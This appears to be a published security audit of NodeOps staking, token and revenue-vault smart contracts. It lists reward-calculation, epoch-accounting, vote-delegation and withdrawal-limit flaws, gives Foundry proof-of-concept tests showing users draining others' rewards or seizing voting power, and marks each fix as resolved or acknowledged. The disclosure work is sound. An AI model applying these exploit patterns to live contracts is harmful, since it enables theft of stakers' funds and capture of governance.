NodeOps Smart Contracts - NodeOps

The StakingContract.sol contract allows users to stake ERC20 tokens via the stake() function, and based on their stake, emissions,epochs passed and the total staked amount they are supposed to receive a certain amount of rewards.

Let's imagine the following scenario, the below parameters are used in order to better demonstrate the severity of the exploit:

• UserA and UserB have both staked 1e18 ERC20 tokens via the stake() function, when the epochId = 0

• In the releaseEpoch() function the emissions is 0

• currentSupply = 1_000_000e18, baseInflationRate = 10e18(10%), the inflationEmissions ~ 273e18

• rewardsPerUnit is ~ 136e18 for epochId 1

• Now UserA calls the unstake() function, and unstakes 1 WEI

• The unstake() function internally calls the _updateRewards() function:

    function _updateRewards(StakerInfo storage staker) private {
        uint256 reward = staker.rewards + _calculateRewards(staker.lastStakedEpoch, staker.stakedBalance);
        if (reward > 0) {
            staker.rewards += reward;
        }
    }

• The _updateRewards() function in turn calls the _calculateRewards() function:

    function _calculateRewards(uint256 epoch, uint256 principle) private view returns (uint256) {
        require(epoch <= epochId, "Invalid epoch");

        if (principle == 0) {
            return 0;
        }

        uint256 reward;    

        for (uint256 i = epoch; i <= epochId; i++) {
            if (epochInfo[i].totalStaked == 0) {
                continue; // Skip this epoch to avoid division by zero
            }
            reward += (principle * epochInfo[i].rewardsPerToken) / 1e18;
        }

        return reward;
    }

• As can be seen from the implementation of the _updateRewards() function, the staker.rewards is added when the reaward is calculated, and later on the whole reward is added once more to the staker.rewards

• staker.rewards for UserA will be ~136e18

• Now one more epoch passes, and the params are the same (the 1 WEI that was unstaked is ignored for easier calculations),the rewardsPerUnit is ~ 136e18 for epochId 2

• Now when UserA calls the unstake() function again, the calculated reward will be as follows reward = 136e18 + 136e18, then staker.rewards will be 136e18 + 272e18 = 408e18

• UserA effectively steals rewards from UserB. The more users and more epochs the rewards a malicious user can steal utilizing this exploit.

    function test_RewardCalculation() public {
        vm.startPrank(alice);
        node.approve(address(stakingContract), type(uint256).max);
        stakingContract.stake(1e18);
        vm.stopPrank();

        vm.startPrank(bob);
        node.approve(address(stakingContract), type(uint256).max);
        stakingContract.stake(1e18);
        vm.stopPrank();

        vm.startPrank(manager);
        stakingContract.releaseEpoch(1);
        skip(86_401);
        vm.stopPrank();

        vm.startPrank(alice);
        stakingContract.unstake(1);
        uint256 aliceRewards1 = stakingContract.getUserRewards(alice);
        console2.log("Alice's expected rewards divided by 1e18: ", aliceRewards1 / 1e18);
        vm.stopPrank();

        vm.startPrank(manager);
        stakingContract.releaseEpoch(2);
        skip(86_401);
        vm.stopPrank();

        vm.startPrank(alice);
        stakingContract.unstake(1);
        uint256 aliceRewards = stakingContract.getUserRewards(alice);
        uint256 actualRewards = node.balanceOf(address(rewardsManager));

        /// @notice due to the way rewards are calculated in the getUserRewards
        /// return staker.rewards + _calculateRewards(staker.lastStakedEpoch, staker.stakedBalance);
        /// it returns ~821e18, however the real amount is ~410e18
        console2.log("Alice's expected rewards divided by 1e18: ", aliceRewards / 1e18);
        console2.log("Actual rewards minted to the rewards manager divided by 1e18: ", actualRewards / 1e18);
        vm.stopPrank();
    }

When calculating the reward parameter in the _updateRewards function don't add staker.rewards to it, or when adding the new value to staker.rewards don't add reward, make staker.rewards = reward.

SOLVED: The NodeOps team followed the recommendation and successfully resolved the issue.

In the StakingContract.sol contract, reward calculation relies on emissions + inflationEmissions and divides it by the totalStaked amount. totalStaked is increased only when users stake via the stake() function. The initial epochId is 0, so users first have to stake for epochId 0, if they don't releaseEpoch() function will always revert due to division by 0 error and then rewards will be distributed for epochId 1.

Let's imagine the following scenario, the below parameters are used in order to better demonstrate the severity of the exploit:

• UserA staked 0.001e18 ERC20 tokens via the stake() function, when the epochId = 0, and he is the only staker

• In the releaseEpoch() function the emissions is 0

• currentSupply = 1_000_000e18, baseInflationRate = 10e18 (10%), the inflationEmissions ~ 273e18

• rewardsPerUnit will be 273e18 * 1e18 / 0.001e18 ~ 273_972e18 for epochId 1, this is many more rewards that would be actually minted.

• Now when users stake they will stake for epochId 1, if for example, UserB stakes 1e18 tokens, his reward for epochId 1 will be 273_972e18, which is much more than the rewards that were minted, and with time he will be able to steal a big portion of the rewards that should be allocated to other users.

This discrepancy can either allow a malicious user to withdraw much more rewards if they are accumulated with time, or will brick non-malicious stakers as the RewardsManager.sol contract simply doesn't have enough rewards to transfer when a user tries to claim rewards via the claimReward() function.

   function test_RewardAllocation() public {
        vm.startPrank(alice);
        node.approve(address(stakingContract), type(uint256).max);
        stakingContract.stake(0.001e18);
        vm.stopPrank();

        vm.startPrank(manager);
        stakingContract.releaseEpoch(1);
        skip(86_401);
        vm.stopPrank();

        vm.startPrank(bob);
        node.approve(address(stakingContract), type(uint256).max);
        stakingContract.stake(1e18);
        uint256 bobRewards = stakingContract.getUserRewards(bob);
        uint256 actualRewards = node.balanceOf(address(rewardsManager));
        console2.log("Bob expected rewards divided by 1e18: ", bobRewards / 1e18);
        console2.log("Actual rewards minted to the rewards manager divided by 1e18: ", actualRewards / 1e18);
        vm.stopPrank();
    }

There are a lot of discrepancies in the StakingContract.sol contract, consider rewriting the whole mechanism following the algorithms of the MasterChef or Synthetix staking contract: https://www.rareskills.io/post/staking-algorithm.

SOLVED: The NodeOps team has successfully resolved the issue.

The StakingContract.sol allows users to stake NODE.sol ERC20 tokens which is a governance token. However each time a user calls the stake() or unstake() functions the voting power of all the NODE.sol tokens that are currently staked into the StakingContract.sol will be transferred to the user, no matter what amount he stakes or unstakes, as can be seen from the below code snippet:

    function stake(uint256 amount) external nonReentrant whenNotPaused {
        if (amount == 0) {
            revert CommonErrors.InvalidInput();
        }

        StakerInfo storage staker = stakers[msg.sender];

        if (staker.lastStakedEpoch > 0) {
            _updateRewards(staker);
        } 
        else {
            _stakerList.add(msg.sender);
        }

        staker.stakedBalance += amount;
        totalStaked += amount;

        _addLSTRequest(amount, msg.sender);

        // Delegate voting power to the staker
        ERC20Votes(token).delegate(msg.sender);

        IERC20(token).safeTransferFrom(msg.sender, address(this), amount);

        emit Staked(msg.sender, amount);
    }

This represents a big problem as a lot of users are expected to stake their NODE.sol ERC20 tokens in the StakingContract.sol, as they are incentivized to do so, and a single user can acquire all of that voting power just by staking 1 WEI, and thus propose and pass governance votes that are in his favor, but not in favor of the community.

The following POC demonstrates that a malicious user can acquire all of the voting power associated with the NODE.sol ER20 tokens currently staked in the StakingContract.sol:

    function test_DelegatingTooMuch() public {
        vm.startPrank(alice);
        node.approve(address(stakingContract), type(uint256).max);
        stakingContract.stake(1e18);
        console2.log("Alice's voting power: ", node.getVotes(alice));
        vm.stopPrank();

        vm.startPrank(bob);
        node.approve(address(stakingContract), type(uint256).max);
        stakingContract.stake(1e18);
        console2.log("Alice's voting power: ", node.getVotes(alice));
        console2.log("Bob's voting power: ", node.getVotes(bob));
        vm.stopPrank();
    }

Consider implementing a functionality which delegates voting power to users proportional to the amount that they stake.

SOLVED: The NodeOps team has successfully resolved the issue.

In the StakingContract.sol contract, users can stake tokens, and receive rewards for each epochId they have staked for. However when the rewards that a user should receive are calculated, the last epochId is taken into consideration always as can be seen from the _calculateRewards() function:

    function _calculateRewards(uint256 epoch, uint256 principle) private view returns (uint256) {
        require(epoch <= epochId, "Invalid epoch");

        if (principle == 0) {
            return 0;
        }

        uint256 reward;    

        for (uint256 i = epoch; i <= epochId; i++) {
            if (epochInfo[i].totalStaked == 0) {
                continue; // Skip this epoch to avoid division by zero
            }
            reward += (principle * epochInfo[i].rewardsPerToken) / 1e18;
        }

        return reward;
    }

This way even if all other vulnerabilities within the contract are fixed, a malicious user can call the claimRewards() function multiple times, and claim rewards for the last epochId as many times as he wants. This effectively results in a malicious user stealing rewards from other users. The more epochs and user stakes the more severe this attack vector becomes.

    function test_ClaimLastEpoch() public {
        /// @notice in order to run this test you have to add the following line in the claimRewards() function after staker.rewards = 0;
        /// staker.lastStakedEpoch = epochId; this fixes a vulnerability demonstrated in the test_ClaimRewardsUnlimitedTimes
        /// in the _updateRewards() function change to the following
        /// uint256 reward = _calculateRewards(staker.lastStakedEpoch, staker.stakedBalance);

        vm.startPrank(alice);
        node.approve(address(stakingContract), type(uint256).max);
        stakingContract.stake(1e18);
        vm.stopPrank();

        vm.startPrank(bob);
        node.approve(address(stakingContract), type(uint256).max);
        stakingContract.stake(1e18);
        vm.stopPrank();

        vm.startPrank(manager);
        stakingContract.releaseEpoch(1);
        skip(86_401);
        vm.stopPrank();

        vm.startPrank(alice);
        console2.log("Balance in the rewards manager contract: ", node.balanceOf(address(rewardsManager)));
        console2.log("Alice's balance before claiming rewards: ", node.balanceOf(alice));
        stakingContract.claimRewards();
        console2.log("Alice's balance after first reward claim: ", node.balanceOf(alice));
        stakingContract.claimRewards();
        console2.log("Alice's balance after second reward claim: ", node.balanceOf(alice));
        console2.log("Balance in the rewards manager contract: ", node.balanceOf(address(rewardsManager)));
        vm.stopPrank();
    }

You can consider using only < rather than <= in the _calculateRewards() function, however as I have mentioned in a previous finding there are a lot of discrepancies in the StakingContract.sol contract, consider rewriting the whole mechanism following the algorithms of the MasterChef or Synthetix staking contract: https://www.rareskills.io/post/staking-algorithm

SOLVED: The NodeOps team has successfully resolved the issue.

In the StakingContract.sol contract, users can stake the NODE.sol ERC20 token via the stake() function, and then based on emissions, inflation rates, total stakes and epochs passed can claim rewards. A trusted role can also create a stake for a certain user via the delegatedStake() function. However the lastStakedEpoch won't be updated because it will always be 0 for a new unique address.

    function stake(uint256 amount) external nonReentrant whenNotPaused {
        if (amount == 0) {
            revert CommonErrors.InvalidInput();
        }

        StakerInfo storage staker = stakers[msg.sender];

        if (staker.lastStakedEpoch > 0) {
            _updateRewards(staker);
        } 
        else {
            _stakerList.add(msg.sender);
        }

        staker.stakedBalance += amount;
        totalStaked += amount;

        _addLSTRequest(amount, msg.sender);

        // Delegate voting power to the staker
        ERC20Votes(token).delegate(msg.sender);

        IERC20(token).safeTransferFrom(msg.sender, address(this), amount);

        emit Staked(msg.sender, amount);
    }

As can be seen from the above code snippet, the _updateRewards() function, which is responsible for updating the lastStakedEpoch for each user and calculating the rewards is only called if the current staker.lastStakedEpoch is bigger than 0. This will allow users to claim rewards from the 0th epoch until the last epoch no matter when they stake. This effectively results in users that stake at a later time stealing rewards from users who staked earlier.

The following POC demonstrates that users can claim rewards starting from the 0th epoch, no matter when they deposited:

    function test_AllowStakersToWithdrawRewardsFromTheZeroethEpoch() public {
        vm.startPrank(alice);
        node.approve(address(stakingContract), type(uint256).max);
        stakingContract.stake(1e18);
        vm.stopPrank();

        vm.startPrank(bob);
        node.approve(address(stakingContract), type(uint256).max);
        stakingContract.stake(1e18);
        vm.stopPrank();

        vm.startPrank(manager);
        stakingContract.releaseEpoch(1);
        skip(86_401);

        stakingContract.releaseEpoch(2);
        skip(86_401);

        stakingContract.releaseEpoch(3);
        skip(86_401);

        stakingContract.releaseEpoch(4);
        skip(86_401);

        stakingContract.releaseEpoch(5);
        skip(86_401);
        vm.stopPrank();

        vm.startPrank(tom);
        node.approve(address(stakingContract), type(uint256).max);
        stakingContract.stake(1e18);
        vm.stopPrank();

        vm.startPrank(manager);
        stakingContract.releaseEpoch(6);
        skip(86_401);
        vm.stopPrank();

        vm.startPrank(alice);
        console2.log("Alice's balance before claiming rewards divided by 1e18: ", node.balanceOf(alice) / 1e18);
        stakingContract.claimRewards();
        console2.log("Alice's balance after claiming rewards divided by 1e18: ", node.balanceOf(alice) / 1e18);
        vm.stopPrank();

        vm.startPrank(tom);
        console2.log("Tom's balance before claiming rewards divided by 1e18: ", node.balanceOf(tom) / 1e18);
        stakingContract.claimRewards();
        console2.log("Tom's balance after claiming rewards divided by 1e18: ", node.balanceOf(tom) / 1e18);
        console2.log("Rewards left in the rewards manager contract divided by 1e18: ", node.balanceOf(address(rewardsManager)) / 1e18);
        uint256 bobRewards = stakingContract.getUserRewards(bob);
        console2.log("Bob's expected rewards divided by 1e18 divided by 1e18: ", bobRewards / 1e18);
        vm.stopPrank();
    }

Consider updating the lastStakedEpoch directly in the stake() and delegateStake() functions.

SOLVED: The NodeOps team has successfully resolved the issue.

The NODE ERC20 token is a governance token, and is the token which is staked in the StakingContract.sol contract. The max supply of the token is 1_000_000_000e18, depending on the quorum requirements if a big portion of the token is staked, quorum won't be reached in the upcoming governance proposals, as the staked tokens don't delegate the voting rights to anyone, and the NODE tokens that are deposited in the StakingContract.sol contract are not utilized in any way.

Consider delegating the voting rights associated with the Node tokens to the user that stakes the tokens.

SOLVED: The NodeOps team has successfully resolved the issue.

In the RevenueVault.sol contract, the withdraw() function has certain limitations for the amount of withdraws that should be possible for a certain time period, however not all of this limitations are enforced efficiently:

    function withdraw(address token, uint256 amount) external onlyRole(Roles.BENEFICIARY_ROLE) whenNotPaused nonReentrant {
        require(_whitelistedTokens.contains(token), "Token not whitelisted");

        uint256 currentTimestamp = block.timestamp;
        uint256 lastTimestamp = lastWithdrawalTimestamp[msg.sender];

        // Enforce cooldown period between withdrawalsf
        require(currentTimestamp >= lastTimestamp + cooldownPeriod, "Cooldown period not yet passed");
        require(amount <= dailyWithdrawalLimits[token], "Amount exceeds daily withdrawal limit");

        // Check available balance
        uint256 balance = IERC20(token).balanceOf(address(this));
        require(amount <= balance, "Amount exceeds token balance");

        // Update last withdrawal timestamp
        lastWithdrawalTimestamp[msg.sender] = currentTimestamp;

        withdrawals[msg.sender] += amount;

        // Transfer tokens
        IERC20(token).safeTransfer(msg.sender, amount);

        emit Withdraw(msg.sender, token, amount);
    }

As can be seen from the above code snippet the dailyWithdrawLimit is not enforced efficiently, if the Roles.BENEFICIARY_ROLE is compromised a malicious user can withdraw the daily limit multiple times during the day.

Effectively enforce the daily limit withdraw.

SOLVED: The NodeOps team has followed the recommendation and successfully resolved the issue.

In Solidity smart contract development, replacing hard-coded revert message strings with the Error() syntax is an optimization strategy that can significantly reduce gas costs. Hard-coded strings, stored on the blockchain, increase the size and cost of deploying and executing contracts.

The Error() syntax allows for the definition of reusable, parameterized custom errors, leading to a more efficient use of storage and reduced gas consumption. This approach not only optimizes gas usage during deployment and interaction with the contract but also enhances code maintainability and readability by providing clearer, context-specific error information.

It is recommended to replace hard-coded revert strings in require statements for custom errors, which can be done following the logic below.

1. Standard require statement (to be replaced):

require(condition, "Condition not met");

2. Declare the error definition to state

error ConditionNotMet();

3. As currently is not possible to use custom errors in combination with require statements, the standard syntax is:

if (!condition) revert ConditionNotMet();

More information about this topic in [Official Solidity Documentation](https://docs.soliditylang.org/en/v0.8.24/control-structures.html#panic-via-assert-and-error-via-require).

SOLVED: The NodeOps team has followed the recommendation and successfully resolved the issue.

In the StakingContract.sol cotntract, the withdraw() function loops trough all of the unstake request a user has made, and then withdraws the tokens from each request where the unstakeTime is less than the current block.timestamp. However the length of the requests array is not cached before all request are looped trough. This increases the gas consumed by the withdraw() function. The function itself may consume a lot of gas, depending on how much requests it has too loop trough, however the protocol has specified that they intend to deploy the protocol on Arbitrum where gas limits are much larger than most chains, and this shouldn't be a problem. However users should be warned to not create an excessive amount of unstake request, before they process the ones the can already process.

Consider caching the length of the requests array, before you loop over it.

SOLVED: The NodeOps team has followed the recommendation and successfully resolved the issue.

Users typically approve contracts in which they have to deposit ERC20 tokens for the uint256 max amount, so they only have to approve the contract once. It is highly possible that when users want to interact with the StakingContract.sol contract and stake tokens via the stake() function, they approve the StakingContract.sol for the uint256 max value. However in the delegateStake() function a malicious user can stake tokens on behalf of a user who has approved the StakingContract.sol contract.

    function delegatedStake(address user, uint256 amount) external onlyRole(Roles.BENEFICIARY_ROLE) whenNotPaused {
        StakerInfo storage staker = stakers[user];

        if (staker.lastStakedEpoch > 0) {
            _updateRewards(staker);
        }

        staker.stakedBalance += amount;
        totalStaked += amount;
        staker.lastStakedEpoch = epochId;
        
        _addLSTRequest(amount, user);  

        IERC20(token).safeTransferFrom(user, address(this), amount);

        emit Staked(user, amount);
    }

As can be seen from the above code snippet the delegateStake() function is permissioned function, however if the Roles.BENEFICIARY_ROLE is compromised the delegateStake() function can be called for any user, and if that user has approved the StakingContract.sol for a big amount, those tokens will be staked in the contract immediately. In order for the user to withdraw his tokens he has to first call the unstake() function, and then wait a certain cooldownPeriod, and then freely withdraw his tokens. However the cooldownPeriod can be 1 day, or much bigger.

In the delegateStake() function, when transfering tokens to the StakingContract.sol contract, consider transfering them from the msg.sender not the user

ACKNOWLEDGED: The NodeOps team has acknowledged the issue, but they don't intend to implement any changes.

All contracts in scope currently use floating pragma versions ^0.8.26 which means that the code can be compiled by any compiler version that is greater than or equal to 0.8.26, and less than 0.9.0.

However, it is recommended that contracts should be deployed with the same compiler version and flags used during development and testing. Locking the pragma helps to ensure that contracts do not accidentally get deployed using another pragma. For example, an outdated pragma version might introduce bugs that affect the contract system negatively.

In this aspect, it is crucial to select the appropriate EVM version when it's intended to deploy the contracts on networks other than the Ethereum mainnet, which may not support these opcodes. Failure to do so could lead to unsuccessful contract deployments or transaction execution issues.

Lock the pragma version to the same version used during development and testing. Additionally, make sure to specify the target EVM version when using Solidity versions from 0.8.20 and above if deploying to chains that may not support newly introduced opcodes. Additionally, it is crucial to stay informed about the opcode support of different chains to ensure smooth deployment and compatibility.

SOLVED: The NodeOps team has followed the recommendation and successfully resolved the issue.

The project lacks unit and E2E tests. It is always a good practice to implement unit tests and E2E tests, as it helps discovering vulnerabilities in the early stages of development, and later on it helps with maintaining and updating the code base.

Consider adding unit and E2E tests to the project.

SOLVED: The NodeOps team has added a test suite.

None of the important fields in the events emitted in the BasePool.sol contract and the StakingContract.sol contract are indexed.

Index the appropriate fields in the events that are emitted in the StakingContract.sol and BasePool.sol contracts.

SOLVED: The NodeOps team has followed the recommendation and indexed the important fields in events.

In the BasePool.sol contract in the updateRewardsPool() function, the memory keyword is used for a parameters which are not modified instead of the calldata keyword.

Consider using the calldata keyword instead of the memory for function arguments which are not modified.

SOLVED: The NodeOps team has followed the recommendation and mitigated the issue.